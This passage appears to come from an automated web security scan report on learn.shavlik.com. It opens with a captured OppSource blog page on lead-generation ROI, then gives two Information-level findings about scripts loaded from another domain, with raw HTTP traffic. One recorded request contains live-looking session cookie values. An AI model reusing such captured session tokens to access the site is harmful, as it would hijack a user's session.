<p><strong>2. The CRM system has duplicate account records and there is no rhyme or reason to how each of the lead-gen tactics is attached to separate account records. </strong> This happens all the time because of misspelled account names, different account addresses, and a long list of other reasons that are exacerbated by "web-to-lead" processes.   When all is said and done, the assigned Salesperson might have been alerted about a new qualified lead via email and did a simple global search in their CRM system for the Account  and chose the "first" account record they thought matched.  The net result is that the sales person is in fact working on a qualified lead but the account record that will eventually represent a "WIN" doesn't have all the right lead source or touches attached to it.  The net result is an inaccurate view of lead tactics that "are driving sales."</p>
<p><strong>3. Over simplified accounting in calculating cost/lead. </strong> So your boss tells you to stop spending marketing on any tactic that has a cost/lead greater than $X.  Your immediate response is to do what the boss asks and in doing so you do the simple math of dividing the cost for each lead source by the number of leads it generated.  Seems logical, but it is flawed - very flawed.  As an example, you might have a pay-per-click strategy that is generating an enormous volume of opt-in leads, but when you sort through all of these, the reality is that a bulk of them are with contacts who will never be able to buy your product or they are so early in the process that they won't be buying your product anytime soon.  In the latter case, it will take a whole set of additional "touches" to nurture and progress the lead to a point where it becomes a qualified sales ready opportunity.  That is not to say that this lead tactic is bad, only to say that making the determination about whether it is good solely on the basis of cost/lead will give you a real false-positive.</p>
<p><a href="http://tinyurl.com/y2eb9yp" title="Megan Heuer - Sirius Decisions ">Megan Heuer over at Sirius Decisions</a> has some additional insights on this topic that you can read by <a href="http://tinyurl.com/y2eb9yp" title="Sirius Decisions">clicking on this link:</a> <strong><span style="color: #0000ff;"><a href="http://tinyurl.com/y2eb9yp" title="Sirius Decisions">http://tinyurl.com/y2eb9yp</a></span></strong></p>
<p><strong><span style="font-weight: normal;">In the end, the only way to address the challenge of determining ROI on lead generation tactics is to implement an integrated Lead Management system.  To learn more about Lead Management best practices, <a href="http://tinyurl.com/3yf3bgw" title="Lead Management Best Practices">click on this link: </a><strong><span style="color: #0000ff;"><a href="http://tinyurl.com/3yf3bgw" title="Lead Management Best Practices">http://tinyurl.com/3yf3bgw</a></span></strong></span></strong></p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/tag/lead-qualification/" rel="tag">Lead Qualification</a>, <a href="http://www.oppsource.com/tag/lead-scoring/" rel="tag">Lead Scoring</a>, <a href="http://www.oppsource.com/tag/leads/" rel="tag">Leads</a>, <a href="http://www.oppsource.com/tag/qualified-opportunities/" rel="tag">Qualified opportunities</a>, <a href="http://www.oppsource.com/tag/sales-effectiveness/" rel="tag">Sales effectiveness</a>, <a href="http://www.oppsource.com/tag/sales-ready/" rel="tag">Sales-ready</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/demand-creation/" title="View all posts in Demand Creation" rel="category tag">Demand Creation</a>, <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/measured-markering/" title="View all posts in measured markering" rel="category tag">measured markering</a> at 1:45 pm <a href="http://www.oppsource.com/three-common-mistakes-in-calculating-roi-on-lead-source/#comments" title="Comment on 3 common mistakes in calculating ROI on Lead Source">5 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-222 post type-post hentry category-demand-creation category-lead-nurturing category-marketing category-nurturing category-sales" id="post-222">
                           <h2><a href="http://www.oppsource.com/for-marketing-a-lead-is-never-disqualified-unless/" rel="bookmark" title="Permanent Link to For Marketing, a Lead is NEVER Disqualified – Unless…">For Marketing, a Lead is NEVER Disqualified – Unless…</a></h2>
                           <small>September 22nd, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/scott-stano.thumbnail.jpg" alt="Scott Stano" width="58" height="80" class="photo" />                            <div class="post_thumb_info">
                               <h3> Scott Stano</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               Why does marketing code leads as "disqualified"? It is easy to see why a sales person would do that - this prospect isn't going to help me retire quota today, therefore they are not a "qualified sales pursuit." Marketing professionals must add a word to the end of the last statement, "not a qualified sales pursuit TODAY." Marketers should never mark a lead as "disqualified. Here's the big "unless" - if an account does not have the characteristics to buy from us, meaning they're not in our market space at all, then not only should they be disqualified, they should be purged from the CRM system with only a residual category of "do not remarket - not a fit based on size, business model, markets served, etc. A lead in our sweet spot must never have a "disqualified" status attached to it from a marketing perspective. After all, the "disqualified" phase is often akin to a landfill - where leads go to be forgotten and decay. Marketers in general must bring ..a new level of sophistication to their database and status management. It's a buyers world, and we need to be there when they are ready to buy.

Good marketing and good selling all!<div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata"> Posted by Oppsource in <a href="http://www.oppsource.com/category/demand-creation/" title="View all posts in Demand Creation" rel="category tag">Demand Creation</a>, <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/marketing/" title="View all posts in Marketing" rel="category tag">Marketing</a>, <a href="http://www.oppsource.com/category/nurturing/" title="View all posts in Nurturing" rel="category tag">Nurturing</a>, <a href="http://www.oppsource.com/category/sales/" title="View all posts in Sales" rel="category tag">Sales</a> at 4:27 pm <a href="http://www.oppsource.com/for-marketing-a-lead-is-never-disqualified-unless/#respond" title="Comment on For Marketing, a Lead is NEVER Disqualified – Unless…">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-218 post type-post hentry category-demand-creation category-lead-nurturing category-marketing category-nurturing category-online tag-b2b-marketing tag-contagious-content tag-content-marketing tag-email-marketing tag-engagement-marketing tag-lead-generation tag-marketing tag-online-marketing tag-opportunity-creation" id="post-218">
                           <h2><a href="http://www.oppsource.com/generica-say-it-isnt-so-at-least-when-it-comes-to-motivating-content-that-pulls-the-b2b-buyer-through-the-buying-process/" rel="bookmark" title="Permanent Link to Generica: Say It Isn't So (at least when it comes to motivating content that pulls the B2B buyer through the buying process)">Generica: Say It Isn't So (at least when it comes to motivating content that pulls the B2B buyer through the buying process)</a></h2>
                           <small>September 7th, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/tracy-prochaska.thumbnail.jpg" alt="Tracy Prochaska" width="80" height="57" class="photo" />                            <div class="post_thumb_info">
                               <h3> Tracy Prochaska</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               The notion that we...re all alike it just plain silly. Recently my girlfriend, who has lived all over the U.S., commented that we live in Generica ...you know, a Starbucks on every corner........

It struck me that we are not living in Generica ... at least not when it comes to personal preferences and what matters to us as individuals. ..(By the way, my preference is Chai skim latte at Caribou where I get 10 cents off when I correctly answer the daily question ..... about 75% of the time.)

As a lead generation B2B marketer, creating compelling content that speaks to the individual (or a group of like-individuals in a specific industry concerned about the same issues such as hitting profit margins, growing their business in a recession, and so on) -- and not the masses -- is absolutely critical. In fact, generic copy to the masses is a recipe for failure - call it Disastrica.....

Do you recall: Deliver the Right Message to the Right People at the Right Time? ..Of course, you do. ..It's Marketing 101, or Marketing to Dummies. The same rules apply to eMarketing. ..And, yet, marketers reveal that they don...t have the time, knowledge or both to create content that speaks to the individual. ..I know, we're all doing more with less, blah, blah, blah ... get with the program!

In her book, eMarketing Strategies for the Complex Sale, Ardath Albee devotes five chapters to content, starting with why contagious content increases engagement. ..I suggest you read it. ....And then live it. In our own practice, we first focus on the right offer / message. ......If prospects don't open the email because the topic is irrelevant, we're toast.

Our sales teams are counting on us to deliver highly qualified leads, and we can...t do it with generic content. ....I am not saying you should discount the list quality, or all the other important elements of marketing. ....Just don't ignore the message.
No more Generica marketing, I say. ..Are you up for the challenge?<div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/b2b-marketing/" rel="tag">B2B Marketing</a>, <a href="http://www.oppsource.com/tag/contagious-content/" rel="tag">Contagious Content</a>, <a href="http://www.oppsource.com/tag/content-marketing/" rel="tag">Content Marketing</a>, <a href="http://www.oppsource.com/tag/email-marketing/" rel="tag">Email marketing</a>, <a href="http://www.oppsource.com/tag/engagement-marketing/" rel="tag">Engagement Marketing</a>, <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/marketing/" rel="tag">Marketing</a>, <a href="http://www.oppsource.com/tag/online-marketing/" rel="tag">Online marketing</a>, <a href="http://www.oppsource.com/tag/opportunity-creation/" rel="tag">opportunity creation</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/demand-creation/" title="View all posts in Demand Creation" rel="category tag">Demand Creation</a>, <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/marketing/" title="View all posts in Marketing" rel="category tag">Marketing</a>, <a href="http://www.oppsource.com/category/nurturing/" title="View all posts in Nurturing" rel="category tag">Nurturing</a>, <a href="http://www.oppsource.com/category/online/" title="View all posts in Online" rel="category tag">Online</a> at 5:14 pm <a href="http://www.oppsource.com/generica-say-it-isnt-so-at-least-when-it-comes-to-motivating-content-that-pulls-the-b2b-buyer-through-the-buying-process/#respond" title="Comment on Generica: Say It Isn't So (at least when it comes to motivating content that pulls the B2B buyer through the buying process)">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                   <div class="navigation">
                       <div class="alignleft"><a href="http://www.oppsource.com/blog/page/2/" >« Older Entries</a></div>
                       <div class="alignright"></div>
                   </div>

                           </div>
       </div>


       <div id="primary" class="widget-area" role="complementary" style=" margin-top:20px;">
           <div id="primaryInner" style="">
               <ul class="xoxo">
                   

                   <li id="linkcat-2" class="widget-container widget_links"><h3 class="widget-title">OppSource Blogroll</h3>
   <ul class='xoxo blogroll'>
<li><a href="http://www.tele-smart.com/blog/">Cubicle Chronicles</a></li>
<li><a href="http://dealarchitect.typepad.com/deal_architect/">Deal Architect</a></li>
<li><a href="http://www.fillthefunnel.com/">Fill the Funnel</a></li>
<li><a href="http://www.jigsawsblog.com/garthsworld/">Garth's World</a></li>
<li><a href="http://marketinginteractions.typepad.com/marketing_interactions/">Marketing Interactions</a></li>
<li><a href="http://sethgodin.typepad.com/seths_blog/">Seth's Blog</a></li>

   </ul>
</li>
       <li id="authors-2" class="widget-container widget_authors">            <h3 class="widget-title">Authors</h3>            <ul>
               <li><a href="http://www.oppsource.com/author/mark-galloway/" title="Posts by Mark Galloway">Mark Galloway</a> </li>
<li><a href="http://www.oppsource.com/author/scott-stano/" title="Posts by Scott Stano">Scott Stano</a> </li>
<li><a href="http://www.oppsource.com/author/tracy-prochaska/" title="Posts by Tracy Prochaska">Tracy Prochaska</a> </li>
           </ul>
                   </li>            <li id="recent-posts-2" class="widget-container widget_recent_entries">        <h3 class="widget-title">Recent Posts</h3>        <ul>
               <li><a href="http://www.oppsource.com/marketing-automation-only-half-the-solution/" title="Marketing Automation — Only Half The Solution">Marketing Automation — Only Half The Solution</a></li>
               <li><a href="http://www.oppsource.com/making-great-content-go-farther/" title="Making Great Content Go Farther">Making Great Content Go Farther</a></li>
               <li><a href="http://www.oppsource.com/marketing-owns-majority-of-buying-cycle-according-to-study/" title="How Will You Get Your Fair Share of New Buyers in 2011?">How Will You Get Your Fair Share of New Buyers in 2011?</a></li>
               <li><a href="http://www.oppsource.com/how-mobile-will-impact-b2b-lead-generation-in-2011/" title="How Mobile Will Impact B2B Lead Generation in 2011">How Mobile Will Impact B2B Lead Generation in 2011</a></li>
               <li><a href="http://www.oppsource.com/marketing-roi-the-lead-source-downfall/" title="Marketing ROI: The Lead Source Downfall">Marketing ROI: The Lead Source Downfall</a></li>
               </ul>
       </li><li id="search-2" class="widget-container widget_search"><form role="search" method="get" id="searchform" action="http://www.oppsource.com/" >
   <div><label class="screen-reader-text" for="s">Search for:</label>
   <input type="text" value="" name="s" id="s" />
   <input type="submit" id="searchsubmit" value="Search" />
   </div>
   </form></li><li id="tag_cloud-3" class="widget-container widget_tag_cloud"><h3 class="widget-title">Tags</h3><div><a href='http://www.oppsource.com/tag/account-optimization/' class='tag-link-43' title='1 topic' style='font-size: 8pt;'>Account Optimization</a>
<a href='http://www.oppsource.com/tag/b2b-marketing/' class='tag-link-12' title='6 topics' style='font-size: 14.363636363636pt;'>B2B Marketing</a>
<a href='http://www.oppsource.com/tag/brand-reputation/' class='tag-link-13' title='2 topics' style='font-size: 10.082644628099pt;'>Brand Reputation</a>
<a href='http://www.oppsource.com/tag/buying-cycle/' class='tag-link-14' title='5 topics' style='font-size: 13.553719008264pt;'>buying cycle</a>
<a href='http://www.oppsource.com/tag/contagious-content/' class='tag-link-15' title='1 topic' style='font-size: 8pt;'>Contagious Content</a>
<a href='http://www.oppsource.com/tag/content-marketing/' class='tag-link-16' title='5 topics' style='font-size: 13.553719008264pt;'>Content Marketing</a>
<a href='http://www.oppsource.com/tag/crm/' class='tag-link-17' title='1 topic' style='font-size: 8pt;'>CRM</a>
<a href='http://www.oppsource.com/tag/email-marketing/' class='tag-link-18' title='11 topics' style='font-size: 17.02479338843pt;'>Email marketing</a>
<a href='http://www.oppsource.com/tag/engagement-marketing/' class='tag-link-19' title='2 topics' style='font-size: 10.082644628099pt;'>Engagement Marketing</a>
<a href='http://www.oppsource.com/tag/how-people-read-online/' class='tag-link-20' title='4 topics' style='font-size: 12.628099173554pt;'>How people read online</a>
<a href='http://www.oppsource.com/tag/lead-generation/' class='tag-link-21' title='22 topics' style='font-size: 20.264462809917pt;'>Lead Generation</a>
<a href='http://www.oppsource.com/tag/lead-management/' class='tag-link-41' title='3 topics' style='font-size: 11.471074380165pt;'>Lead Management</a>
<a href='http://www.oppsource.com/tag/lead-nurturing/' class='tag-link-5' title='31 topics' style='font-size: 22pt;'>Lead Nurturing</a>
<a href='http://www.oppsource.com/tag/lead-qualification/' class='tag-link-22' title='5 topics' style='font-size: 13.553719008264pt;'>Lead Qualification</a>
<a href='http://www.oppsource.com/tag/leads/' class='tag-link-24' title='13 topics' style='font-size: 17.834710743802pt;'>Leads</a>
<a href='http://www.oppsource.com/tag/lead-scoring/' class='tag-link-23' title='2 topics' style='font-size: 10.082644628099pt;'>Lead Scoring</a>
<a href='http://www.oppsource.com/tag/marketing/' class='tag-link-6' title='13 topics' style='font-size: 17.834710743802pt;'>Marketing</a>
<a href='http://www.oppsource.com/tag/marketing-automation/' class='tag-link-7' title='3 topics' style='font-size: 11.471074380165pt;'>Marketing Automation</a>
<a href='http://www.oppsource.com/tag/marketing-ecosystem/' class='tag-link-25' title='1 topic' style='font-size: 8pt;'>Marketing Ecosystem</a>
<a href='http://www.oppsource.com/tag/mobile-computing/' class='tag-link-42' title='1 topic' style='font-size: 8pt;'>Mobile Computing</a>
<a href='http://www.oppsource.com/tag/online-marketing/' class='tag-link-26' title='9 topics' style='font-size: 16.099173553719pt;'>Online marketing</a>
<a href='http://www.oppsource.com/tag/online-reading/' class='tag-link-27' title='1 topic' style='font-size: 8pt;'>Online Reading</a>
<a href='http://www.oppsource.com/tag/online-writing-requires-different-style/' class='tag-link-28' title='1 topic' style='font-size: 8pt;'>Online Writing Requires Different Style</a>
<a href='http://www.oppsource.com/tag/opportunity-creation/' class='tag-link-29' title='3 topics' style='font-size: 11.471074380165pt;'>opportunity creation</a>
<a href='http://www.oppsource.com/tag/prospecting/' class='tag-link-30' title='10 topics' style='font-size: 16.561983471074pt;'>Prospecting</a>
<a href='http://www.oppsource.com/tag/qualified-opportunities/' class='tag-link-31' title='13 topics' style='font-size: 17.834710743802pt;'>Qualified opportunities</a>
<a href='http://www.oppsource.com/tag/qualified-sales-opportunities/' class='tag-link-32' title='4 topics' style='font-size: 12.628099173554pt;'>qualified sales opportunities</a>
<a href='http://www.oppsource.com/tag/sales-ready/' class='tag-link-37' title='13 topics' style='font-size: 17.834710743802pt;'>Sales-ready</a>
<a href='http://www.oppsource.com/tag/sales-call/' class='tag-link-33' title='9 topics' style='font-size: 16.099173553719pt;'>Sales Call</a>
<a href='http://www.oppsource.com/tag/sales-cycle/' class='tag-link-34' title='3 topics' style='font-size: 11.471074380165pt;'>Sales cycle</a>
<a href='http://www.oppsource.com/tag/sales-effectiveness/' class='tag-link-35' title='13 topics' style='font-size: 17.834710743802pt;'>Sales effectiveness</a>
<a href='http://www.oppsource.com/tag/sales-pipeline/' class='tag-link-36' title='3 topics' style='font-size: 11.471074380165pt;'>Sales pipeline</a>
<a href='http://www.oppsource.com/tag/social-marketing/' class='tag-link-38' title='1 topic' style='font-size: 8pt;'>Social Marketing</a>
<a href='http://www.oppsource.com/tag/tele-marketing/' class='tag-link-39' title='4 topics' style='font-size: 12.628099173554pt;'>tele-marketing</a>
<a href='http://www.oppsource.com/tag/web-leads/' class='tag-link-40' title='3 topics' style='font-size: 11.471074380165pt;'>Web leads</a></div>
</li>
                               </ul>
                               </div>
                           </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.4. http://learn.shavlik.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/careers

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /careers HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Careers, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Careers Comments Feed" href="http://www.oppsource.com/careers/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Contact Us' href='http://www.oppsource.com/contact-us/' />
<link rel='next' title='Customer Login' href='http://www.oppsource.com/customer-login/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="OppSource is a fast growing company seeking hardworking individuals to join our team! We offer exciting new careers to talented and diligent workers." />
<meta name="keywords" content="careers, lead management, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/careers/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="mainCol" style="width: 667px;">
<div style="margin-right: 10px;">
<h1>OppSource is Hiring!</h1>
<p>OppSource.com is an innovative, fast growing company seeking hardworking individuals to join our team!  We offer exciting new careers to talented and diligent workers looking to join a creative and inventive organization. If you fit this description, we would like to hear from you. Send your resume and/or cover letter to: <a href="mailto:careers@oppsource.com">careers@oppsource.com</a></p>
<h1>Who Are We?</h1>
<p>Generating and nurturing leads into sales opportunities and creating demand is what OppSource is all about. We provide an essential connection between marketing and sales that can significantly improve your company...s return on marketing investment. Our lead management process is more personalized than the one-dimensional automation solutions offered by other companies.</p>
</div>
</div>
<div id="rightCol">
<div style="margin: 0pt 0pt 0pt 10px;">
<h2>Available Positions:</h2>
<p><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Creative-Director-Jan2011b.pdf" target="_blank">Creative Director</a></p>
<p><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Demand-Creation-Consultant-Position.pdf" target="_blank">Demand Creation Consultant</a></p>
</div>
</div>
<p> </p>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.5. http://learn.shavlik.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/contact-us

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /contact-us HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
